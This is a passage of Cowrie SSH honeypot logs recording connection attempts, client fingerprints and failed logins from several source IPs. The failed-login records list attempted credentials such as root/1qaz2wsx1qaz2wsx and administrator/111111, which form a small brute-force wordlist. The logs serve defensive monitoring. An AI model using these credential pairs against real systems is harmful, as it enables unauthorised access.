256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:54:07.531959Z","src_ip":"159.203.92.129","session":"7acfe4a044ca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"111111","message":"login attempt [administrator/111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:54:07.585752Z","src_ip":"159.203.92.129","session":"7acfe4a044ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:54:08.591638Z","src_ip":"159.203.92.129","session":"7acfe4a044ca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.98.55.71","src_port":53246,"dst_ip":"10.17.0.5","dst_port":22,"session":"784a838b204c","protocol":"ssh","message":"New connection: 198.98.55.71:53246 (10.17.0.5:22) [session: 784a838b204c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:54:12.154066Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:54:12.159362Z","src_ip":"198.98.55.71","session":"784a838b204c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:54:12.167939Z","src_ip":"198.98.55.71","session":"784a838b204c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz2wsx1qaz2wsx","message":"login attempt [root/1qaz2wsx1qaz2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:54:12.217488Z","src_ip":"198.98.55.71","session":"784a838b204c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:54:13.224867Z","src_ip":"198.98.55.71","session":"784a838b204c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":45664,"dst_ip":"159.203.135.109","dst_port":22,"session":"5bcafc7d7c45","protocol":"ssh","message":"New connection: 159.203.92.129:45664 (159.203.135.109:22) [session: 5bcafc7d7c45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:54:52.962089Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:54:52.967265Z","src_ip":"159.203.92.129","session":"5bcafc7d7c45","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:54:52.973158Z","src_ip":"159.203.92.129","session":"5bcafc7d7c45","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"1111111","message":"login attempt [administrator/1111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:54:52.985196Z","src_ip":"159.203.92.129","session":"5bcafc7d7c45","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:54:53.991292Z","src_ip":"159.203.92.129","session":"5bcafc7d7c45","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.98.55.71","src_port":37190,"dst_ip":"10.17.0.5","dst_port":22,"session":"1e4293c4e52f","protocol":"ssh","message":"New connection: 198.98.55.71:37190 (10.17.0.5:22) [session: 1e4293c4e52f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:54:59.363773Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:54:59.368073Z","src_ip":"198.98.55.71","session":"1e4293c4e52f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:54:59.374585Z","src_ip":"198.98.55.71","session":"1e4293c4e52f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sihua@123","message":"login attempt [root/sihua@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:54:59.427105Z","src_ip":"198.98.55.71","session":"1e4293c4e52f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:55:00.435922Z","src_ip":"198.98.55.71","session":"1e4293c4e52f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"125.166.19.90","src_port":5550,"dst_ip":"159.203.135.109","dst_port":22,"session":"4a0d3bce8e6b","protocol":"ssh","message":"New connection: 125.166.19.90:5550 (159.203.135.109:22) [session: 4a0d3bce8e6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:55:01.152053Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:55:01.157683Z","src_ip":"125.166.19.90","session":"4a0d3bce8e6b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:55:01.431574Z","src_ip":"125.166.19.90","session":"4a0d3bce8e6b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00355815887451,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:55:01.797719Z","src_ip":"45.23.213.116","session":"d5a293e3b5cd","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Password","message":"login attempt [ubuntu/Password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:55:02.563953Z","src_ip":"125.166.19.90","session":"4a0d3bce8e6b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:55:03.842308Z","src_ip":"125.166.19.90","session":"4a0d3bce8e6b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":37608,"dst_ip":"159.203.135.109","dst_port":22,"session":"41ac6f1c91c5","protocol":"ssh","message":"New connection: 159.203.92.129:37608 (159.203.135.109:22) [session: 41ac6f1c91c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:55:38.572614Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:55:38.577286Z","src_ip":"159.203.92.129","session":"41ac6f1c91c5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:55:38.581965Z","src_ip":"159.203.92.129","session":"41ac6f1c91c5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"11111111","message":"login attempt [administrator/11111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:55:38.592655Z","src_ip":"159.203.92.129","session":"41ac6f1c91c5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:55:39.598207Z","src_ip":"159.203.92.129","session":"41ac6f1c91c5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"18.97.5.106","src_port":52450,"dst_ip":"10.17.0.5","dst_port":22,"session":"0741b4101806","protocol":"ssh","message":"New connection: 18.97.5.106:52450 (10.17.0.5:22) [session: 0741b4101806]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:55:48.481940Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-paramiko_2.9.2","message":"Remote SSH version: SSH-2.0-paramiko_2.9.2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:55:48.486312Z","src_ip":"18.97.5.106","session":"0741b4101806","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"d6729b7f24428169e981ad4840063ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,aes192-cbc,aes256-cbc,blowfish-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-md5,hmac-sha1-96,hmac-md5-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","aes192-cbc","aes256-cbc","blowfish-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-md5","hmac-sha1-96","hmac-md5-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: d6729b7f24428169e981ad4840063ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:55:48.497182Z","src_ip":"18.97.5.106","session":"0741b4101806","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:55:48.579668Z","src_ip":"18.97.5.106","session":"0741b4101806","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.98.55.71","src_port":43600,"dst_ip":"10.17.0.5","dst_port":22,"session":"a13d7409efe3","protocol":"ssh","message":"New connection: 198.98.55.71:43600 (10.17.0.5:22) [session: a13d7409efe3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:55:49.222667Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:55:49.226820Z","src_ip":"198.98.55.71","session":"a13d7409efe3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:55:49.232475Z","src_ip":"198.98.55.71","session":"a13d7409efe3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"future","message":"login attempt [root/future] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:55:49.286688Z","src_ip":"198.98.55.71","session":"a13d7409efe3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:55:50.293328Z","src_ip":"198.98.55.71","session":"a13d7409efe3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.183.177.120","src_port":44860,"dst_ip":"159.203.135.109","dst_port":22,"session":"06d73563cb56","protocol":"ssh","message":"New connection: 94.183.177.120:44860 (159.203.135.109:22) [session: 06d73563cb56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:56:23.466021Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.10.0","message":"Remote SSH version: SSH-2.0-libssh2_1.10.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:56:23.555678Z","src_ip":"94.183.177.120","session":"06d73563cb56","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"63ae64767f334c6a74647d80edb0291e","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc,none;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com,none;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc","none"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd16